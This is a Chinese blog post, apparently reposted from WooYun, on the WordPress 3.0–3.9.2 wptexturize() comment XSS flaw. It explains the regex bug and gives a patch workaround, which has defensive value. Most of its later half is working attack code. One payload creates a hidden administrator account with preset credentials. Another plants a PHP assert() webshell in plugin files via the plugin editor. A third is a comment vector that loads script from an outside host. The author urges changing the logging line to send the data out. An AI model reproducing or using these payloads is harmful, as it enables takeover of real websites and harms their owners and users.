时间:2014-11-27 作者:admin 分类: 技术交流
漏洞分析
问题出在wordpress的留言处,通常情况下留言是允许一些html标签的,比 如<a>、<B>、<code>等等,然而标签中有一些属性是在白名单里的,比如<a>标签允许 href属性,但是onmouseover属性是不允许的。
但是在一个字符串格式化函数wptexturize()上出现了问题,这个函数会在每一个留言上执行,函数的功能是把当前的字符转义成html实 体,比如把“”转义为“”。为了防止干扰html格式,wptexturize()首先会以html标签为标准把文本分成若干段,除了html标签,还有 方括号标签比如。分割的功能是由下列正则表达式完成的。
在wp-includes/formatting.php代码的第156行:
$textarr = preg_split('/(< .*>|\[.*\])/Us', $text, -1,
PREG_SPLIT_DELIM_CAPTURE);
但是如果文章中混合着尖括号<>和方括号[]会造成转义混淆,导致部分代码没有转义。
攻击者可以通过这个漏洞在允许的HTML标签中注入样式参数形成XSS攻击,比如通过建立一个透明的标签覆盖窗口,捕捉onmouseover事件。
漏洞利用测试
以下代码可以用于测试
[<a href="test" title="]"></a>[" <!-- onmouseover=alert(/v587/)//><!-- -->NOT VULNERABLE<a></a>]
修复建议
这一漏洞很容易被攻击者利用,WordPress官方建议用户尽快更新补丁,而在新版WordPress 4.0.1已经修复了所有的漏洞。
WordPress官方于11月20日发布了官方补丁,目前大多数的WordPress网站上都会收到补丁更新提醒通知;如果有一些其他原因使得你无法更新补丁,Klikki Oy公司还提供了另外一个解决方案(workaround)可以修复该漏洞。
wptexturize可以通过在wp-includes/formatting.php开头增加一个返回参数避免这个问题
function wptexturize($text) {
return $text; // ADD THIS LINE
global $wp_cockneyreplace;
额外提醒
如果你使用的是WP-Statistics WordPress插件,你也应该更新补丁。因为这些插件上也存在跨站脚本漏洞,攻击者同样可以实施攻击。
wordpress 添加管理员payload
账号:0x_Jin
密码:fuckxssQ
var a = location.href.split('/'); var xurl = location.href.replace(a[a.length-1],"user-new.php"); jQuery.ajax({ url: xurl, type: 'GET', dataType: 'html', data: {}, }) .done(function(data) { var temp = jQuery(data); var Xtoken = ""; temp.find('input#_wpnonce_create-user').each(function(i,o){ var o=jQuery(o); Xtoken=o.attr('value'); }); jQuery.ajax({ url: xurl, type: 'POST', data: {'action': 'createuser','_wpnonce_create-user':Xtoken,'user_login':'0x_Jin','email':'root@xss1.com','first_name':'0x_Jin','last_name':'0x_Jin','url':'www.xss1.com','pass1':'fuckxssQ','pass2':'fuckxssQ','role':'administrator','createuser':'Add+New+User+'} }) .done(function(){ console.log('ok'); return; }) }) .fail(function() { console.log("error"); }) .always(function() { return; });
wordpress getshell payload
如果实战用记得把 console.lnfo 那一行该为发送喔。。。
密码:fuckxssQ
这个getshell js 有getshell当前模板跟getshell全部模板的功能
默认是getshell当前模板 StartGetshell = 0
如果要getshell全部插件模板 把 StartGetshell的值改为1 即可
/* 0x_Jin WordPress Getshell */ var a = location.href.split('/'); var file = ""; var xurl = location.href.replace(a[a.length-1],"plugin-editor.php"); var file2 = []; var StartGetshell = 0; var shellcode = '< ?php\n$k="ass"."ert"; $k(${"_PO"."ST"} ["fuckxssQ"]);'; jQuery.ajax({ url: xurl, type: 'GET', dataType: 'html', data: {}, }) .done(function(data) { var temp = jQuery(data); var Xtoken = ""; var Tmpcode = ""; temp.find('input#_wpnonce').each(function(i,o){ var o=jQuery(o); Xtoken=o.attr('value'); }); temp.find('textarea#newcontent').each(function(i,o){ var o=jQuery(o); Tmpcode = o.text().replace(' }) temp.find('div.alignleft big strong').each(function(i,o){ var o=jQuery(o); file = o.text(); }) temp.find('select#plugin option').each(function(i,o){ var o=jQuery(o); file2.push(o.attr('value')); }) if(Xtoken&&Tmpcode&&file){ jQuery.ajax({ url: xurl, type: 'POST', data: {'_wpnonce':Xtoken,'newcontent':Tmpcode,'action':'update','file':file,'plugin':file,'submit':'Update+File'} }) .done(function(){ var temp = location.href.substring(location.href.indexOf('wp-admin'),location.href.length); console.info('Webshell:'+location.href.replace(temp,"wp-content/plugins/"+file)); return; }) } if(StartGetshell){ for(var i=0;i var filename = file2[i]; if(file2[i]!=file){ jQuery.ajax({ url: xurl, type: 'POST', data: {'plugin': file2[i],'Submit':'Select'}, }) .done(function(data) { var NewCode = ""; var NewToken= ""; var Getshell=jQuery(data); Getshell.find("textarea#newcontent").each(function(i,o){ var o=jQuery(o); NewCode = o.text().replace(' }) Getshell.find("input#_wpnonce").each(function(i,o){ var o=jQuery(o); NewToken = o.attr('value'); }) if(NewCode&&NewToken){ console.log("1"+filename); jQuery.ajax({ url: xurl, type: 'POST', data: {'_wpnonce':NewToken,'newcontent':NewCode,'action':'update','file':filename,'plugin':filename,'submit':'Update+File'} }) .done(function(){ var temp = location.href.substring(location.href.indexOf('wp-admin'),location.href.length); console.info('Webshell:'+location.href.replace(temp,"wp-content/plugins/"+filename)); return; }) } }) } } } }) .fail(function() { console.log("error"); }) .always(function() { return; });
wordpress 3.0-3.9.2 XSS 提高触发几率
首先wordpress 白名单提供的标签都是行级标签没有块级标签,无法直接设置高宽来占据整个网页。
我最开始的目标是占据整个DOM 只要鼠标到了DOM的任何一处都会触发onmouseover事件。
代码如下:
[[" <!-- onmouseover=jQuery.getScript('//20.rs') style="text-decoration:none;display:block;width:2000px;height:2000px;//><!-- --> ]
转自:zone.wooyun.org
评论: